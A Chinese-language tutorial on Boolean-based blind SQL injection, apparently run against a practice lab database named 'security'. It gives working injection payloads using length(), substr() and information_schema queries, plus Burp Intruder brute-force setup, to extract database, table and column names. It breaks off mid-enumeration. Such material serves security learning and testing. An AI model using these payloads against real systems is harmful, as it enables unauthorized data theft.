SQL注入-Boolean盲注
特别声明:该文章只运用于学习安全测试交流之用,请勿用于其他
第一步:判断注入点,输入id=2 页面返回yes而输入2' and length(database())>=1 --+也返回yes,则说明id参数处存在注入点

第二步:利用二分法判断当前数据库名长度,>=9为no,>=8为yes,所以database名长度为8

第三步:利用substr判断数据库名
2' and substr(database(),1,1)='s' --+

利用Burp进行库名爆破,捕获到请求发送到Intruder模块

点击Positions,点击Clear$,选择要参数化部分点击Add$。因为需要确认databse每个字符所以设置如下
id=2%27%20and%20substr(database(),§1§,1)=%27§s§%27%20--+

设置第一个参数参数为1~8的整数,第二个参数为a-z的字母

点击右上角Start attack

查看执行结果,找出长度与其他不同的请求,最终得到结果

结果,当前数据库名为security

利用Burp进行表名爆破
2' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' --+
id=2%27%20and%20substr((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27security%27%20limit%200,1),§1§,1)=%27§e§%27%20--+
第一个库名为emails

利用Burp进行列名爆破
id=2' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1)='i' --+